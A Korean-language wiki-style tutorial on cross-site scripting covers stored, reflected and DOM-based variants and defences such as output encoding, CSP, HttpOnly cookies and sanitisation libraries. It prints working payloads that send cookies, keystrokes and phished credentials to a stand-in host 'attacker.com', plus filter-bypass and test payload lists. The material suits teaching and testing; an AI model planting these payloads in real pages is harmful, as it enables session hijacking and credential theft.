전체 그래프
OWASP Top 10

XSS

web-securityowaspxssattack

상위: Web Security

요약

XSS(Cross-Site Scripting)는 웹 페이지에 악성 스크립트를 삽입하여 사용자의 브라우저에서 실행시키는 공격입니다. 쿠키 탈취, 세션 하이재킹, 피싱 등에 악용됩니다.

공격 원리

1. 공격자가 악성 스크립트를 웹사이트에 삽입
2. 피해자가 해당 페이지 방문
3. 피해자의 브라우저에서 악성 스크립트 실행
4. 쿠키/세션/개인정보 탈취
공격자  [악성 스크립트 삽입]  웹서버  [페이지 응답]  피해자 브라우저
                                                              
                                                    스크립트 실행  정보 탈취

공격 유형

1. Stored XSS (저장형)

악성 스크립트가 서버에 저장되어 모든 방문자에게 실행

시나리오: 게시판 댓글

<!-- 공격자가 작성한 댓글 -->
<script>
  fetch('https://attacker.com/steal?cookie=' + document.cookie)
</script>
1. 공격자가 댓글에 스크립트 작성
2. 서버 DB에 저장
3. 다른 사용자가 게시글 조회
4. 모든 조회자의 쿠키 탈취

위험도: 🔴 매우 높음 (불특정 다수 피해)

2. Reflected XSS (반사형)

URL 파라미터에 스크립트를 넣어 피해자에게 클릭하게 유도

시나리오: 검색 기능

정상 URL: https://shop.com/search?q=노트북
공격 URL: https://shop.com/search?q=<script>alert('XSS')</script>
<!-- 서버 응답 -->
<h1>검색 결과: <script>alert('XSS')</script></h1>

공격 흐름:

1. 공격자가 악성 URL 생성
2. 피해자에게 링크 전송 (이메일, 메시지 )
3. 피해자가 클릭하면 스크립트 실행

위험도: 🟠 높음 (피해자가 클릭해야 함)

3. DOM-based XSS

서버 거치지 않고 클라이언트 JavaScript에서 발생

취약한 코드:

// URL: https://site.com/page#<img src=x onerror=alert('XSS')>

// 취약한 코드
document.getElementById('output').innerHTML = location.hash.slice(1);

위험도: 🟠 높음 (서버 로그에 안 남아 탐지 어려움)

실제 공격 페이로드

쿠키 탈취

<script>
new Image().src='https://attacker.com/steal?c='+document.cookie;
</script>

키로거 삽입

<script>
document.onkeypress = function(e) {
  fetch('https://attacker.com/log?key=' + e.key);
}
</script>

피싱 폼 삽입

<script>
document.body.innerHTML = `
  <h1>세션 만료</h1>
  <form action="https://attacker.com/phish">
    <input name="id" placeholder="아이디">
    <input name="pw" type="password" placeholder="비밀번호">
    <button>로그인</button>
  </form>
`;
</script>

다양한 우회 기법

<!-- 기본 -->
<script>alert(1)</script>

<!-- 이벤트 핸들러 -->
<img src=x onerror=alert(1)>
<body onload=alert(1)>
<svg onload=alert(1)>

<!-- 인코딩 우회 -->
<script>alert&#40;1&#41;</script>
<script>eval(atob('YWxlcnQoMSk='))</script>

<!-- 대소문자 우회 -->
<ScRiPt>alert(1)</ScRiPt>

<!-- 공백 우회 -->
<script/src=https://attacker.com/xss.js></script>

취약한 코드 vs 안전한 코드

취약한 코드

// innerHTML 사용 (위험!)
element.innerHTML = userInput;

// document.write 사용 (위험!)
document.write(userInput);

// eval 사용 (매우 위험!)
eval(userInput);

안전한 코드

// textContent 사용 (안전)
element.textContent = userInput;

// 라이브러리 사용
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userInput);

방어 방법

1. 출력 인코딩 (가장 중요)

# Python (Jinja2)
{{ user_input }}  # 자동 이스케이프
{{ user_input | safe }}  # 위험! 사용 금지

# 결과: <script> → &lt;script&gt;

2. Content Security Policy (CSP)

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://trusted.com;
  style-src 'self' 'unsafe-inline';

CSP 효과:

inline 스크립트 차단: <script>alert(1)</script> 
외부 스크립트 제한: <script src="https://attacker.com">

3. HttpOnly 쿠키

Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict

효과: JavaScript에서 쿠키 접근 불가

document.cookie  // 빈 문자열 반환

4. 입력값 검증

import bleach

# 허용된 태그만 통과
clean = bleach.clean(user_input, tags=['p', 'br', 'strong'])

5. WAF 적용

Context별 인코딩

Context인코딩 방법예시
HTML BodyHTML Entity<&lt;
HTML AttributeAttribute Encoding"&quot;
JavaScriptJS Encoding'\'
URLURL Encoding<%3C
CSSCSS Encoding<\3C

테스트 페이로드

<!-- 기본 테스트 -->
<script>alert('XSS')</script>
"><script>alert('XSS')</script>
'><script>alert('XSS')</script>

<!-- 이벤트 핸들러 -->
"><img src=x onerror=alert('XSS')>
" autofocus onfocus=alert('XSS') "

<!-- SVG -->
<svg/onload=alert('XSS')>

<!-- 인코딩 -->
%3Cscript%3Ealert('XSS')%3C/script%3E

탐지 도구

도구용도
Burp Suite수동 테스트
XSStrike자동화 XSS 탐지
OWASP ZAP통합 보안 스캐너
DOMPurify런타임 Sanitization

관련 공격

참고 자료